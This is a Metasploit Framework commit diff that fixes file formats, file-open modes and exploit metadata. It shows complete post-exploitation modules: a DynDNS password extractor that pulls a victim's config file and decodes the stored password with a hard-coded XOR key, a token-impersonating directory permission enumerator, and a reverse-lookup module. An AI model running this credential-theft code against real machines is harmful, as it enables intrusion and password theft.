Mostly file format (unix linefeeds) and File.open() calls using binary. Fixed ranking for mozilla_nstreerange and disclosure and BID # for tugzip.
git-svn-id: file:///home/svn/framework3/trunk@13971 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
7ef8c16e75
commit
c336d063da
|
@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
super(
|
super(
|
||||||
'Name' => 'rsyslog Long Tag Off-By-Two DoS',
|
'Name' => 'rsyslog Long Tag Off-By-Two DoS',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module triggers an off-by-two stack overflow in the
|
This module triggers an off-by-two overflow in the
|
||||||
rsyslog daemon. This flaw is unlikely to yield code execution
|
rsyslog daemon. This flaw is unlikely to yield code execution
|
||||||
but is effective at shutting down a remote log daemon. This bug
|
but is effective at shutting down a remote log daemon. This bug
|
||||||
was introduced in version 4.6.0 and corrected in 4.6.8/5.8.5.
|
was introduced in version 4.6.0 and corrected in 4.6.8/5.8.5.
|
||||||
|
|
|
@ -191,7 +191,10 @@ EOF
|
||||||
|
|
||||||
# Obfuscate it up a bit
|
# Obfuscate it up a bit
|
||||||
js = obfuscate_js(js, 'Symbols' => {
|
js = obfuscate_js(js, 'Symbols' => {
|
||||||
'Variables' => %W{ DataTranslator GenerateHTML escapeData xunescape shellcode oneblock fullblock sprayContainer xi searchArray xc escData xhtml pTags oTags newElement sprayready sprayContainerIndex fill_function }
|
'Variables' => %W{ DataTranslator GenerateHTML escapeData xunescape
|
||||||
|
shellcode oneblock fullblock sprayContainer xi searchArray xc
|
||||||
|
escData xhtml pTags oTags newElement sprayready sprayContainerIndex
|
||||||
|
fill_function }
|
||||||
}).to_s
|
}).to_s
|
||||||
|
|
||||||
str1 = Rex::Text.rand_text_alpha(20)
|
str1 = Rex::Text.rand_text_alpha(20)
|
||||||
|
|
|
@ -12,7 +12,7 @@
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
rank = NormalRanking
|
Rank = NormalRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpServer::HTML
|
include Msf::Exploit::Remote::HttpServer::HTML
|
||||||
|
|
||||||
|
|
|
@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
[
|
[
|
||||||
[ 'OSVDB', '49371' ],
|
[ 'OSVDB', '49371' ],
|
||||||
[ 'CVE', '2008-4779' ],
|
[ 'CVE', '2008-4779' ],
|
||||||
[ 'BID', '17432' ],
|
[ 'BID', '31913' ],
|
||||||
[ 'URL', 'http://www.exploit-db.com/exploits/12008/' ]
|
[ 'URL', 'http://www.exploit-db.com/exploits/12008/' ]
|
||||||
],
|
],
|
||||||
'Platform' => [ 'win' ],
|
'Platform' => [ 'win' ],
|
||||||
|
@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
],
|
],
|
||||||
'Disclosure' => 'Oct 28 2008',
|
'DisclosureDate' => 'Oct 28 2008',
|
||||||
'DefaultTarget' => 0))
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
|
|
|
@ -127,7 +127,7 @@ class Metasploit3 < Msf::Post
|
||||||
print_error("Wordlist File #{pass_file} does not exists!")
|
print_error("Wordlist File #{pass_file} does not exists!")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
creds = ::File.open(pass_file, "r")
|
creds = ::File.open(pass_file, "rb")
|
||||||
else
|
else
|
||||||
creds = "Cisco\n" << "cisco\n"<< "sanfran\n" << "SanFran\n" << "password\n" << "Password\n"
|
creds = "Cisco\n" << "cisco\n"<< "sanfran\n" << "SanFran\n" << "password\n" << "Password\n"
|
||||||
end
|
end
|
||||||
|
|
|
@ -42,7 +42,7 @@ class Metasploit3 < Msf::Post
|
||||||
if not ::File.exists?(datastore['RESOURCE'])
|
if not ::File.exists?(datastore['RESOURCE'])
|
||||||
raise "Resource File does not exists!"
|
raise "Resource File does not exists!"
|
||||||
else
|
else
|
||||||
::File.open(datastore['RESOURCE'], "r").each_line do |cmd|
|
::File.open(datastore['RESOURCE'], "rb").each_line do |cmd|
|
||||||
next if cmd.strip.length < 1
|
next if cmd.strip.length < 1
|
||||||
next if cmd[0,1] == "#"
|
next if cmd[0,1] == "#"
|
||||||
begin
|
begin
|
||||||
|
|
|
@ -1,190 +1,190 @@
|
||||||
##
|
##
|
||||||
#$Id$
|
#$Id$
|
||||||
##
|
##
|
||||||
|
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
# Framework web site for more information on licensing and terms of use.
|
# Framework web site for more information on licensing and terms of use.
|
||||||
# http://metasploit.com/framework/
|
# http://metasploit.com/framework/
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Windows Gather Dyn-Dns Client Password Extractor',
|
'Name' => 'Windows Gather Dyn-Dns Client Password Extractor',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module extracts the username, password, and hosts for Dyn-Dns version 4.1.8.
|
This module extracts the username, password, and hosts for Dyn-Dns version 4.1.8.
|
||||||
This is done by downloading the config.dyndns file from the victim machine, and then
|
This is done by downloading the config.dyndns file from the victim machine, and then
|
||||||
automatically decode the password field. The original copy of the config file is also
|
automatically decode the password field. The original copy of the config file is also
|
||||||
saved to disk.
|
saved to disk.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Shubham Dawra <shubham2dawra[at]gmail.com>', #SecurityXploded.com
|
'Shubham Dawra <shubham2dawra[at]gmail.com>', #SecurityXploded.com
|
||||||
'sinn3r', #Lots of code rewrite
|
'sinn3r', #Lots of code rewrite
|
||||||
],
|
],
|
||||||
'Version' => '$Revision$',
|
'Version' => '$Revision$',
|
||||||
'Platform' => [ 'win' ],
|
'Platform' => [ 'win' ],
|
||||||
'SessionTypes' => [ 'meterpreter' ]
|
'SessionTypes' => [ 'meterpreter' ]
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Search for the config file.
|
# Search for the config file.
|
||||||
# Return the config file path, otherwise nil to indicate nothing was found
|
# Return the config file path, otherwise nil to indicate nothing was found
|
||||||
#
|
#
|
||||||
def get_config_file
|
def get_config_file
|
||||||
config_paths =
|
config_paths =
|
||||||
[
|
[
|
||||||
"C:\\ProgramData\\Dyn\\Updater\\", #Vista
|
"C:\\ProgramData\\Dyn\\Updater\\", #Vista
|
||||||
"C:\\Documents and Settings\\All Users\\Application Data\\Dyn\\Updater\\" #XP and else
|
"C:\\Documents and Settings\\All Users\\Application Data\\Dyn\\Updater\\" #XP and else
|
||||||
]
|
]
|
||||||
|
|
||||||
# Give me the first match
|
# Give me the first match
|
||||||
config_file = nil
|
config_file = nil
|
||||||
config_paths.each do |p|
|
config_paths.each do |p|
|
||||||
tmp_path = p + "config.dyndns"
|
tmp_path = p + "config.dyndns"
|
||||||
begin
|
begin
|
||||||
f = session.fs.file.stat(tmp_path)
|
f = session.fs.file.stat(tmp_path)
|
||||||
config_file = tmp_path
|
config_file = tmp_path
|
||||||
break #We've found a valid one, break!
|
break #We've found a valid one, break!
|
||||||
rescue
|
rescue
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return config_file
|
return config_file
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Download the config file, and then load it up in memory.
|
# Download the config file, and then load it up in memory.
|
||||||
# Return the content.
|
# Return the content.
|
||||||
#
|
#
|
||||||
def load_config_file(config_file)
|
def load_config_file(config_file)
|
||||||
f = session.fs.file.new(config_file, "rb")
|
f = session.fs.file.new(config_file, "rb")
|
||||||
content = ''
|
content = ''
|
||||||
until f.eof?
|
until f.eof?
|
||||||
content << f.read
|
content << f.read
|
||||||
end
|
end
|
||||||
p = store_loot("dyndns.raw", "text/plain", session.tunnel_peer, "dyndns_raw_config.dyndns")
|
p = store_loot("dyndns.raw", "text/plain", session.tunnel_peer, "dyndns_raw_config.dyndns")
|
||||||
vprint_status("Raw config file saved: #{p.to_s}")
|
vprint_status("Raw config file saved: #{p.to_s}")
|
||||||
return content
|
return content
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Parse the data
|
# Parse the data
|
||||||
# Return: Hash { :username, :pass, :hosts }
|
# Return: Hash { :username, :pass, :hosts }
|
||||||
#
|
#
|
||||||
def parse_config(content)
|
def parse_config(content)
|
||||||
# Look at each line for user/pass/host
|
# Look at each line for user/pass/host
|
||||||
config_data = {}
|
config_data = {}
|
||||||
user = content.scan(/Username=([\x21-\x7e]+)/)[0][0]
|
user = content.scan(/Username=([\x21-\x7e]+)/)[0][0]
|
||||||
pass = content.scan(/Password=([\x21-\x7e]+)/)[0][0]
|
pass = content.scan(/Password=([\x21-\x7e]+)/)[0][0]
|
||||||
host = content.scan(/Host\d=([\x21-\x7e]+)/)[0]
|
host = content.scan(/Host\d=([\x21-\x7e]+)/)[0]
|
||||||
|
|
||||||
# Let's decode the pass
|
# Let's decode the pass
|
||||||
pass = decode_password(pass) if not pass.nil?
|
pass = decode_password(pass) if not pass.nil?
|
||||||
|
|
||||||
# Store data in a hash, save it to the array
|
# Store data in a hash, save it to the array
|
||||||
# Might contain nil if nothing was regexed
|
# Might contain nil if nothing was regexed
|
||||||
config_data = {
|
config_data = {
|
||||||
:user => user,
|
:user => user,
|
||||||
:pass => pass,
|
:pass => pass,
|
||||||
:hosts => host
|
:hosts => host
|
||||||
}
|
}
|
||||||
|
|
||||||
return config_data
|
return config_data
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Decode the password
|
# Decode the password
|
||||||
#
|
#
|
||||||
def decode_password(pass)
|
def decode_password(pass)
|
||||||
pass = [pass].pack('H*')
|
pass = [pass].pack('H*')
|
||||||
s = ''
|
s = ''
|
||||||
c = 0
|
c = 0
|
||||||
|
|
||||||
pass.each_byte do |a1|
|
pass.each_byte do |a1|
|
||||||
a2 = "t6KzXhCh"[c, 1].unpack('c')[0].to_i
|
a2 = "t6KzXhCh"[c, 1].unpack('c')[0].to_i
|
||||||
s << (a1 ^ a2).chr
|
s << (a1 ^ a2).chr
|
||||||
c = ((c+1)%8)
|
c = ((c+1)%8)
|
||||||
end
|
end
|
||||||
|
|
||||||
return s
|
return s
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Print results and storeloot
|
# Print results and storeloot
|
||||||
#
|
#
|
||||||
def do_report(data)
|
def do_report(data)
|
||||||
tbl = Rex::Ui::Text::Table.new(
|
tbl = Rex::Ui::Text::Table.new(
|
||||||
'Header' => 'DynDNS Client Data',
|
'Header' => 'DynDNS Client Data',
|
||||||
'Indent' => 1,
|
'Indent' => 1,
|
||||||
'Columns' => ['Field', 'Value']
|
'Columns' => ['Field', 'Value']
|
||||||
)
|
)
|
||||||
|
|
||||||
# Store username/password
|
# Store username/password
|
||||||
tbl << ['Username', data[:user]]
|
tbl << ['Username', data[:user]]
|
||||||
tbl << ['Password', data[:pass]]
|
tbl << ['Password', data[:pass]]
|
||||||
|
|
||||||
# Store all found hosts
|
# Store all found hosts
|
||||||
hosts = data[:hosts]
|
hosts = data[:hosts]
|
||||||
hosts.each do |host|
|
hosts.each do |host|
|
||||||
tbl << ['Host', host]
|
tbl << ['Host', host]
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status(tbl.to_s)
|
print_status(tbl.to_s)
|
||||||
|
|
||||||
if not tbl.rows.empty?
|
if not tbl.rows.empty?
|
||||||
p = store_loot(
|
p = store_loot(
|
||||||
'dyndns.data',
|
'dyndns.data',
|
||||||
'text/plain',
|
'text/plain',
|
||||||
session,
|
session,
|
||||||
tbl,
|
tbl,
|
||||||
'dyndns_data.txt',
|
'dyndns_data.txt',
|
||||||
'DynDNS Client Data'
|
'DynDNS Client Data'
|
||||||
)
|
)
|
||||||
print_status("Parsed data stored in: #{p.to_s}")
|
print_status("Parsed data stored in: #{p.to_s}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Main function, duh
|
# Main function, duh
|
||||||
#
|
#
|
||||||
def run
|
def run
|
||||||
# Find the config file
|
# Find the config file
|
||||||
config_file = get_config_file
|
config_file = get_config_file
|
||||||
if config_file.nil?
|
if config_file.nil?
|
||||||
print_error("No config file found, will not continue")
|
print_error("No config file found, will not continue")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
# Load the config file
|
# Load the config file
|
||||||
print_status("Downloading config.dyndns...")
|
print_status("Downloading config.dyndns...")
|
||||||
content = load_config_file(config_file)
|
content = load_config_file(config_file)
|
||||||
|
|
||||||
if content.empty?
|
if content.empty?
|
||||||
print_error("Config file seems empty, will not continue")
|
print_error("Config file seems empty, will not continue")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
# Get parsed data
|
# Get parsed data
|
||||||
config = parse_config(content)
|
config = parse_config(content)
|
||||||
|
|
||||||
# Store data
|
# Store data
|
||||||
do_report(config)
|
do_report(config)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -285,7 +285,7 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
# Function for writing results of other functions to a file
|
# Function for writing results of other functions to a file
|
||||||
def filewrt(file2wrt, data2wrt)
|
def filewrt(file2wrt, data2wrt)
|
||||||
output = ::File.open(file2wrt, "a")
|
output = ::File.open(file2wrt, "ab")
|
||||||
if data2wrt
|
if data2wrt
|
||||||
data2wrt.each_line do |d|
|
data2wrt.each_line do |d|
|
||||||
output.puts(d)
|
output.puts(d)
|
||||||
|
|
|
@ -1,138 +1,138 @@
|
||||||
##
|
##
|
||||||
# $Id$
|
# $Id$
|
||||||
##
|
##
|
||||||
|
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
# Framework web site for more information on licensing and terms of use.
|
# Framework web site for more information on licensing and terms of use.
|
||||||
# http://metasploit.com/framework/
|
# http://metasploit.com/framework/
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'rex'
|
require 'rex'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => "Windows Gather Directory Permissions Enumeration",
|
'Name' => "Windows Gather Directory Permissions Enumeration",
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module enumerates directories and lists the permissions set
|
This module enumerates directories and lists the permissions set
|
||||||
on found directories.
|
on found directories.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Version' => '$Revision$',
|
'Version' => '$Revision$',
|
||||||
'Platform' => ['windows'],
|
'Platform' => ['windows'],
|
||||||
'SessionTypes' => ['meterpreter'],
|
'SessionTypes' => ['meterpreter'],
|
||||||
'Author' => ['Kx499']
|
'Author' => ['Kx499']
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptString.new('PATH', [ true, 'Directory to begin search from' ]),
|
OptString.new('PATH', [ true, 'Directory to begin search from' ]),
|
||||||
OptEnum.new('FILTER', [ false, 'Filter to limit results by', 'NA', [ 'NA', 'R', 'W', 'RW' ]]),
|
OptEnum.new('FILTER', [ false, 'Filter to limit results by', 'NA', [ 'NA', 'R', 'W', 'RW' ]]),
|
||||||
OptInt.new('DEPTH', [ true, 'Depth to drill down into subdirs, O = no limit',0]),
|
OptInt.new('DEPTH', [ true, 'Depth to drill down into subdirs, O = no limit',0]),
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_imperstoken
|
def get_imperstoken
|
||||||
adv = session.railgun.advapi32
|
adv = session.railgun.advapi32
|
||||||
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
|
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
|
||||||
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
|
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
|
||||||
tok_all << " | TOKEN_ADJUST_DEFAULT"
|
tok_all << " | TOKEN_ADJUST_DEFAULT"
|
||||||
|
|
||||||
#get impersonation token handle it["DuplicateTokenhandle"] carries this value
|
#get impersonation token handle it["DuplicateTokenhandle"] carries this value
|
||||||
#p = kern.GetCurrentProcess() #get handle to current process
|
#p = kern.GetCurrentProcess() #get handle to current process
|
||||||
pid = session.sys.process.open.pid
|
pid = session.sys.process.open.pid
|
||||||
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||||
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
|
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
|
||||||
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
|
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
|
||||||
if it["return"] #if it fails return 0 for error handling
|
if it["return"] #if it fails return 0 for error handling
|
||||||
return it["DuplicateTokenHandle"]
|
return it["DuplicateTokenHandle"]
|
||||||
else
|
else
|
||||||
return 0
|
return 0
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def check_dir(dir, token)
|
def check_dir(dir, token)
|
||||||
adv = session.railgun.advapi32
|
adv = session.railgun.advapi32
|
||||||
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
||||||
result = ""
|
result = ""
|
||||||
|
|
||||||
#define generic mapping structure
|
#define generic mapping structure
|
||||||
gen_map = [0,0,0,0]
|
gen_map = [0,0,0,0]
|
||||||
gen_map = gen_map.pack("L")
|
gen_map = gen_map.pack("L")
|
||||||
|
|
||||||
#get Security Descriptor for the directory
|
#get Security Descriptor for the directory
|
||||||
f = adv.GetFileSecurityA(dir, si, 20, 20, 4)
|
f = adv.GetFileSecurityA(dir, si, 20, 20, 4)
|
||||||
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
||||||
sd = f["pSecurityDescriptor"]
|
sd = f["pSecurityDescriptor"]
|
||||||
|
|
||||||
#check for write access, called once to get buffer size
|
#check for write access, called once to get buffer size
|
||||||
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
|
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
|
||||||
len = a["PrivilegeSetLength"]
|
len = a["PrivilegeSetLength"]
|
||||||
|
|
||||||
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
||||||
if !r["return"] then return "Failed" end
|
if !r["return"] then return "Failed" end
|
||||||
if r["GrantedAccess"] > 0 then result << "R" end
|
if r["GrantedAccess"] > 0 then result << "R" end
|
||||||
|
|
||||||
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||||
if !w["return"] then return "Failed" end
|
if !w["return"] then return "Failed" end
|
||||||
if w["GrantedAccess"] > 0 then result << "W" end
|
if w["GrantedAccess"] > 0 then result << "W" end
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
def enum_subdirs(dpath, maxdepth, token)
|
def enum_subdirs(dpath, maxdepth, token)
|
||||||
filter = datastore['FILTER']
|
filter = datastore['FILTER']
|
||||||
filter = nil if datastore['FILTER'] == 'NA'
|
filter = nil if datastore['FILTER'] == 'NA'
|
||||||
dirs = session.fs.dir.foreach(dpath)
|
dirs = session.fs.dir.foreach(dpath)
|
||||||
if maxdepth >= 1 or maxdepth < 0
|
if maxdepth >= 1 or maxdepth < 0
|
||||||
dirs.each do|d|
|
dirs.each do|d|
|
||||||
next if d =~ /^(\.|\.\.)$/
|
next if d =~ /^(\.|\.\.)$/
|
||||||
realpath = dpath + '\\' + d
|
realpath = dpath + '\\' + d
|
||||||
if session.fs.file.stat(realpath).directory?
|
if session.fs.file.stat(realpath).directory?
|
||||||
perm = check_dir(realpath, token)
|
perm = check_dir(realpath, token)
|
||||||
if !filter or perm.include? filter
|
if !filter or perm.include? filter
|
||||||
print_status(perm + "\t" + realpath)
|
print_status(perm + "\t" + realpath)
|
||||||
end
|
end
|
||||||
enum_subdirs(realpath, maxdepth - 1,token)
|
enum_subdirs(realpath, maxdepth - 1,token)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
t = 0 #holds impers token
|
t = 0 #holds impers token
|
||||||
|
|
||||||
#check and set vars
|
#check and set vars
|
||||||
if not datastore['PATH'].empty?
|
if not datastore['PATH'].empty?
|
||||||
path = datastore['PATH']
|
path = datastore['PATH']
|
||||||
end
|
end
|
||||||
|
|
||||||
depth = -1
|
depth = -1
|
||||||
|
|
||||||
if datastore['DEPTH'] > 0
|
if datastore['DEPTH'] > 0
|
||||||
depth = datastore['DEPTH']
|
depth = datastore['DEPTH']
|
||||||
end
|
end
|
||||||
|
|
||||||
#get impersonation token
|
#get impersonation token
|
||||||
print_status("Getting impersonation token...")
|
print_status("Getting impersonation token...")
|
||||||
t = get_imperstoken()
|
t = get_imperstoken()
|
||||||
|
|
||||||
#loop through sub dirs if we have an impers token..else error
|
#loop through sub dirs if we have an impers token..else error
|
||||||
if t == 0
|
if t == 0
|
||||||
print_error("Getting impersonation token failed")
|
print_error("Getting impersonation token failed")
|
||||||
else
|
else
|
||||||
print_status("Got token...")
|
print_status("Got token...")
|
||||||
print_status("Checking directory permissions from: " + path)
|
print_status("Checking directory permissions from: " + path)
|
||||||
|
|
||||||
#check staring directory
|
#check staring directory
|
||||||
print_status(check_dir(path, t) + "\t" + path)
|
print_status(check_dir(path, t) + "\t" + path)
|
||||||
|
|
||||||
#call recursive function to loop through and check all sub directories
|
#call recursive function to loop through and check all sub directories
|
||||||
enum_subdirs(path, depth, t)
|
enum_subdirs(path, depth, t)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,80 +1,80 @@
|
||||||
##
|
##
|
||||||
# $Id$
|
# $Id$
|
||||||
##
|
##
|
||||||
|
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
# Framework web site for more information on licensing and terms of use.
|
# Framework web site for more information on licensing and terms of use.
|
||||||
# http://metasploit.com/framework/
|
# http://metasploit.com/framework/
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'rex'
|
require 'rex'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super( update_info( info,
|
super( update_info( info,
|
||||||
'Name' => "Windows Gather IP Range Reverse Lookup",
|
'Name' => "Windows Gather IP Range Reverse Lookup",
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module uses Railgun, calling the gethostbyaddr function to resolve a hostname
|
This module uses Railgun, calling the gethostbyaddr function to resolve a hostname
|
||||||
to an IP.
|
to an IP.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Version' => '$Revision$',
|
'Version' => '$Revision$',
|
||||||
'Platform' => ['windows'],
|
'Platform' => ['windows'],
|
||||||
'SessionTypes' => ['meterpreter'],
|
'SessionTypes' => ['meterpreter'],
|
||||||
'Author' => ['mubix']
|
'Author' => ['mubix']
|
||||||
))
|
))
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptAddressRange.new('RHOSTS', [true, 'IP Range to perform reverse lookup against.'])
|
OptAddressRange.new('RHOSTS', [true, 'IP Range to perform reverse lookup against.'])
|
||||||
|
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
|
||||||
#Add ws2_32 just in case it isn't there...
|
#Add ws2_32 just in case it isn't there...
|
||||||
session.railgun.ws2_32
|
session.railgun.ws2_32
|
||||||
|
|
||||||
#Check if gethostbyaddr is available to us
|
#Check if gethostbyaddr is available to us
|
||||||
modhandle = session.railgun.kernel32.GetModuleHandleA('ws2_32.dll')
|
modhandle = session.railgun.kernel32.GetModuleHandleA('ws2_32.dll')
|
||||||
if modhandle['return'] == 0
|
if modhandle['return'] == 0
|
||||||
print_error("WS2_32 isn't available at this time, exiting")
|
print_error("WS2_32 isn't available at this time, exiting")
|
||||||
return
|
return
|
||||||
else
|
else
|
||||||
procaddr = session.railgun.kernel32.GetProcAddress(modhandle['return'],'gethostbyaddr')
|
procaddr = session.railgun.kernel32.GetProcAddress(modhandle['return'],'gethostbyaddr')
|
||||||
if procaddr['return'] == 0
|
if procaddr['return'] == 0
|
||||||
print_error("WS2_32 was loaded but does not have the gethostbyaddr function, exiting")
|
print_error("WS2_32 was loaded but does not have the gethostbyaddr function, exiting")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#Initialize Railgun 'gethostbyaddr' call'
|
#Initialize Railgun 'gethostbyaddr' call'
|
||||||
session.railgun.add_function('ws2_32', 'gethostbyaddr', 'DWORD', [
|
session.railgun.add_function('ws2_32', 'gethostbyaddr', 'DWORD', [
|
||||||
['PCHAR', 'addr', 'in'],
|
['PCHAR', 'addr', 'in'],
|
||||||
['DWORD','len','in'],
|
['DWORD','len','in'],
|
||||||
['DWORD','type','in']])
|
['DWORD','type','in']])
|
||||||
|
|
||||||
#Generates IP list based on RHOSTS - RangeWalker rocks....
|
#Generates IP list based on RHOSTS - RangeWalker rocks....
|
||||||
iplist = Rex::Socket::RangeWalker.new(datastore['RHOSTS'])
|
iplist = Rex::Socket::RangeWalker.new(datastore['RHOSTS'])
|
||||||
|
|
||||||
iplist.each do |x|
|
iplist.each do |x|
|
||||||
#Converts an IP in string formate to network byte order format
|
#Converts an IP in string formate to network byte order format
|
||||||
nbi = Rex::Socket.addr_aton(x)
|
nbi = Rex::Socket.addr_aton(x)
|
||||||
|
|
||||||
#Call gethostbyaddr
|
#Call gethostbyaddr
|
||||||
result = session.railgun.ws2_32.gethostbyaddr(nbi.to_s,nbi.size,2)
|
result = session.railgun.ws2_32.gethostbyaddr(nbi.to_s,nbi.size,2)
|
||||||
if result['return'] == 0
|
if result['return'] == 0
|
||||||
vprint_status("#{x} did not resolve")
|
vprint_status("#{x} did not resolve")
|
||||||
else
|
else
|
||||||
struct = session.railgun.memread(result['return'],100)
|
struct = session.railgun.memread(result['return'],100)
|
||||||
hostname = struct.split(nbi)[1].split("\0")[0]
|
hostname = struct.split(nbi)[1].split("\0")[0]
|
||||||
print_good("#{x} resolves to #{hostname}")
|
print_good("#{x} resolves to #{hostname}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue